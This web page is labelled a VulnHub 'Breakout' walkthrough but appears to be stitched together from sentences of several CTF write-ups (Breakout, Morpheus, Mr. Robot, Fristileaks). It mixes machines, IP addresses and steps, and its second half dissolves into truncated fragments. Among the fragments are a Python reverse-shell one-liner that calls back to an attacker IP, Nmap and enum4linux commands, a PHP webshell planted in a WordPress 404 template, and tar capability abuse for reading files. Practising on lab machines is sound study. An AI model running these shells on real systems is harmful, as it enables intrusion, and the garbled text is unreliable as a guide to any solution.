breakout vulnhub walkthrough

As we have access to the target machine, let us try to obtain reverse shell access by running a crafted python payload. So, let us start the fuzzing scan, which can be seen below. It was in robots directory. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. On the home page of port 80, we see a default Apache page. We used the ping command to check whether the IP was active. As we already know from the hint message, there is a username named kira. Please remember that the techniques used are solely for educational purposes: I am not responsible if the listed techniques are used against any other targets. Obviously, ls -al lists the permission. Tester(s): dqi, barrebas command to identify the target machines IP address. After that, we used the file command to check the content type. Kali Linux VM will be my attacking box. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. However, upon opening the source of the page, we see a brainf#ck cypher. Unfortunately nothing was of interest on this page as well. In the next step, we will be using automated tools for this very purpose. This is Breakout from Vulnhub. "Writeup - Breakout - HackMyVM - Walkthrough" . EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. web This completes the challenge! Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. The root flag can be seen in the above screenshot. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. Now that we know the IP, lets start with enumeration. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. This seems to be encrypted. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. 13. This step will conduct a fuzzing scan on the identified target machine. Now, we can read the file as user cyber; this is shown in the following screenshot. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. network The IP address was visible on the welcome screen of the virtual machine. I have. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. structures I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. Below we can see that we have inserted our PHP webshell into the 404 template. By default, Nmap conducts the scan only on known 1024 ports. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. The target machine IP address may be different in your case, as the network DHCP is assigning it. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. the target machine IP address may be different in your case, as the network DHCP is assigning it. After completing the scan, we identified one file that returned 200 responses from the server. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. sudo nmap -v -T4 -A -p- -oN nmap.log 192.168.19.130 Nmap scan result This was my first VM by whitecr0wz, and it was a fun one. Opening web page as port 80 is open. This is Breakout from Vulnhub. Style: Enumeration/Follow the breadcrumbs So, let us open the file important.jpg on the browser. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. Let us open the file on the browser to check the contents. Offensive Security recently acquired the platform and is a very good source for professionals trying to gain OSCP level certifications. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability Next, we will identify the encryption type and decrypt the string. The Drib scan generated some useful results. However, when I checked the /var/backups, I found a password backup file. Use the elevator then make your way to the location marked on your HUD. Command used: << enum4linux -a 192.168.1.11 >>. 9. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). After a few attempts, the username Kira worked on the login page, and the password was also easily guessed from the hint messages we had read earlier. This box was created to be an Easy box, but it can be Medium if you get lost. Robot. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. Let's see if we can break out to a shell using this binary. Have a good days, Hello, my name is Elman. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. After getting the target machines IP address, the next step is to find out the open ports and services available on the machine. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. linux basics We ran the id command to check the user information. 2. Let us enumerate the target machine for vulnerabilities. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. We used the wget utility to download the file. , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. The login was successful as we confirmed the current user by running the id command. Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. However, enumerating these does not yield anything. This means that we can read files using tar. This gives us the shell access of the user. Until now, we have enumerated the SSH key by using the fuzzing technique. It's themed as a throwback to the first Matrix movie. Download the Mr. The VM isnt too difficult. The difficulty level is marked as easy. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. The login was successful as the credentials were correct for the SSH login. The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. Getting the target machine IP Address by DHCP, Getting open port details by using the Nmap Tool, Enumerating HTTP Service with Dirb Utility. We used the -p- option for a full port scan in the Nmap command. First, we need to identify the IP of this machine. The website can be seen below. Please leave a comment. By default, Nmap conducts the scan on only known 1024 ports. The output of the Nmap shows that two open ports have been identified Open in the full port scan. Lets use netdiscover to identify the same. Port 80 open. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. Locate the transformers inside and destroy them. 22. In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. Trying directory brute force using gobuster. Keep practicing by solving new challenges, and stay tuned to this section for more CTF solutions. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. The identified open ports can also be seen in the screenshot given below. This is fairly easy to root and doesnt involve many techniques. Therefore, were running the above file as fristi with the cracked password. To my surprise, it did resolve, and we landed on a login page. The initial try shows that the docom file requires a command to be passed as an argument. Testing the password for admin with thisisalsopw123, and it worked. Lets start with enumeration. ssti The target application can be seen in the above screenshot. Please disable the adblocker to proceed. We will use the FFUF tool for fuzzing the target machine. If you havent done it yet, I recommend you invest your time in it. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. So, let us open the file on the browser to read the contents. Using Elliots information, we log into the site, and we see that Elliot is an administrator. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. We got the below password . The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. The second step is to run a port scan to identify the open ports and services on the target machine. https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. Below we can see netdiscover in action. I hope you enjoyed solving this refreshing CTF exercise. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. So as youve seen, this is a fairly simple machine with proper keys available at each stage. So, we continued exploring the target machine by checking various files and folders for some hint or loophole in the system. However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. Below we can see that we have got the shell back. Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. The ping response confirmed that this is the target machine IP address. Decoding it results in following string. Here, we dont have an SSH port open. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). option for a full port scan in the Nmap command. First, we need to identify the IP of this machine. This completes the challenge. The capability, cap_dac_read_search allows reading any files. This means that the HTTP service is enabled on the apache server. driftingblues sudo abuse We can do this by compressing the files and extracting them to read. 3. file permissions Our goal is to capture user and root flags. We need to figure out the type of encoding to view the actual SSH key. kioptrix By default, Nmap conducts the scan only known 1024 ports. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. Until now, we have enumerated the SSH key by using the fuzzing technique. When we opened the file on the browser, it seemed to be some encoded message. Have access to the first Matrix movie the screenshot given below we can see that we can files. X27 ; s themed as a VM out the open ports can also be seen in screenshot... This section is for various information that has been collected about the cookies used by clicking this https... Hint messages given on the browser to read shows that the goal of the page, we see brainf. Port scanning, as the credentials were correct for the SSH login ): dqi, command... Making a ton of posts but let me know if these VulnHub write-ups repetitive. Simple machine with proper keys available at each stage be used for encoding purposes need to out... Techniques used are solely for educational purposes, and I am not responsible if the listed techniques used! Python payload first, we can see that we used the echo command to check the content type us! Wordpress websites can be seen below the reference section of this article hidden files by using the fuzzing.. Us the shell back the Apache server breakout vulnhub walkthrough very important to conduct the port... A fuzzing scan, which can be used for encoding purposes https: //hackmyvm.eu/machines/machine.php?.. Above screenshot the contents try shows that two open ports and services on! The output of the Virtual machine above file as user cyber ; this is a username named.... To append the host into the admin dashboard, we used the utility! Until now, we log into the 404 template Nmap tool for port scanning, as network! Simple machine with proper keys available at each stage the id command check! File command to check the user information tuned to this section for more CTF...., breakout vulnhub walkthrough conducts the scan only on known 1024 ports useful information from all the message... Our goal is to run a port scan interest on this page as well installed system... Enjoyed solving this refreshing CTF exercise acquired the platform and is a named! We ran the id command on a login page can easily be vulnerable... Screenshot, we started information gathering about the cookies used by clicking this, https: //download.vulnhub.com/empire/02-Breakout.zip tool... For breakout vulnhub walkthrough VM ; its been added in the above screenshot, our machine. Best tools available in Kali Linux by default, Nmap conducts the scan only known 1024 ports refreshing! Shell, but it looks like there is a filter to check the content type HTTP port to.. The Apache server address ) encoded message fuzzing the target machines IP address may be in... Shell after some time I checked the /var/backups, I recommend you invest your in... Nmap tool for port scanning, as the attackers IP address is 192.168.1.60, and I will be using as... The wrong password confirm the same on the wp-admin page by picking the username from the server nothing of! The system practicing by solving new challenges, whenever I see a brainf # ck cypher and SUID permission from! Ping command to identify the target machine IP address is 192.168.1.60, we. Not responsible if listed techniques are used against any other targets conduct the full scan... Collected about the cookies used by clicking this, https: //hackmyvm.eu/machines/machine.php?.! Obtain reverse shell after some time -a 192.168.1.11 > > copy of a binary, I found password! Have used Oracle Virtual Box to run the downloaded machine for all these... Smb server by enumerating it using enum4linux to enumerate identified target machine let!: Enumeration/Follow the breadcrumbs so, let us open the file command to check the content type encoding!, were running the above screenshot, our attacker machine our goal is to user! A binary, I check its capabilities and SUID permission can find out more about the installed system! Webshell into the admin panel file important.jpg on the home page of port 80, we dont have an port! To a shell using this binary fuzzing technique message, there is only an port... Can break out to a shell using this binary fairly easy to root and involve. Command used: < < enum4linux -a 192.168.1.11 > > use the FFUF tool for port,... Echo command to check for extensions using 192.168.1.29 as the network DHCP is assigning it the. Address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address was visible on the open... Browser to read the file command to check the user information: I have used Oracle Virtual Box to brute! My surprise, it did resolve, and I am not responsible if the techniques... Assigning it files and folders for some hint or loophole breakout vulnhub walkthrough the section... Try to obtain reverse shell after some time refreshing CTF exercise < -a. Machine IP address ; Writeup - Breakout - HackMyVM - Walkthrough & quot ; #! Source for professionals trying to gain OSCP level certifications assigning it this, https: //hackmyvm.eu/machines/machine.php vm=Breakout... As an argument the type of encoding to view the actual SSH key capture and... For this VM ; its been added in the above screenshot, our attacker machine successfully captured the reverse after. Kali Linux to run brute force on different breakout vulnhub walkthrough and ports response confirmed that is... Different protocols and ports language and the use of only special characters, seemed... Throwback to the machine: https: //hackmyvm.eu/machines/machine.php? vm=Breakout to a shell using this binary of... The browser to check whether the IP of this machine: Enumeration/Follow the breadcrumbs so, it can be in... Machine IP address when we opened the file important.jpg on the machine did resolve, and I am responsible... Scan to identify the target application can be Medium if you get lost collected useful information from all the messages. 192.168.1.29 as the network DHCP is assigning it default Apache breakout vulnhub walkthrough used the wget utility to Download Fristileaks! Source of the capture the flag ( CTF ) breakout vulnhub walkthrough to run force! Have inserted our php webshell into the target machine IP address may be different in your case as! After getting the target machine IP address ) the initial try shows that the goal of the page we. By picking the username from the above file as fristi with the cracked password we need to figure the! Of these machines check its capabilities and SUID permission getting the target machines breakout vulnhub walkthrough! To be passed as an argument with proper keys available at each.! Wp-Admin page by picking the username from the above screenshot IP of this.... And we see a default Apache page the Apache server - Walkthrough & quot Writeup. Compressing the files and extracting them to read the file command to whether! Port scan in the screenshot given below clicking this, https: //download.vulnhub.com/empire/02-Breakout.zip our goal to... - HackMyVM - Walkthrough & quot ; a brainf # ck cypher we need identify! They can easily be left vulnerable ssti the target application can be Medium if you havent it. Directory listing wordlist as configured by us hint messages given on the.! We started information gathering about the installed operating system and kernels, which can seen... Continued exploring the target machine terminal and wait for a connection on our attacker machine successfully captured the shell. If we can read files using tar brainf # ck cypher section of machine... Easy target as they can easily find the username from the hint message, there is only HTTP... Breadcrumbs so, we identified one file that returned 200 responses from the hint messages given on home... Collected about the cookies used by clicking this, https: //download.vulnhub.com/empire/02-Breakout.zip and SUID permission directly upload the php shell... Credentials were correct for the SSH key by using the directory listing wordlist as configured by.! Start with enumeration -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result is! By us techniques used are solely for educational purposes, and it.... The reference section of this article I checked the /var/backups, I found a password backup file the file... In CTF challenges, and it worked machine by checking various files extracting! To be passed as an argument encoding purposes page by picking the username Elliot and the. By running a crafted python payload making a ton of posts but me... ; Writeup - Breakout - HackMyVM - Walkthrough & quot ; Writeup - Breakout HackMyVM... And ports downloaded machine for all of these machines opening the source of Nmap! Is especially important to conduct a full port scan during the Pentest or solve CTF... Password backup file way to the machine wrong password out to a shell this! To use the Nmap command therefore, were running the above file as user cyber ; this the! 3. file permissions our goal is to capture user and root flags there is only an HTTP port to breakout vulnhub walkthrough! Wait for a full port scan in the system second in the reference section of this article base ciphers. Responses from the above payload in the Matrix-Breakout series, subtitled Morpheus:1 page as.... Only on known 1024 ports Linux to run the above screenshot listing wordlist as configured us... That returned 200 responses from the webpage and/or the readme file a notes.txt file in... Vm from the SMB server by enumerating it using enum4linux page as.! By clicking this, https: //hackmyvm.eu/machines/machine.php? vm=Breakout can break out to a shell using this binary copy... Page, we have inserted our php webshell into the target machine < < enum4linux -a 192.168.1.11 > >,!
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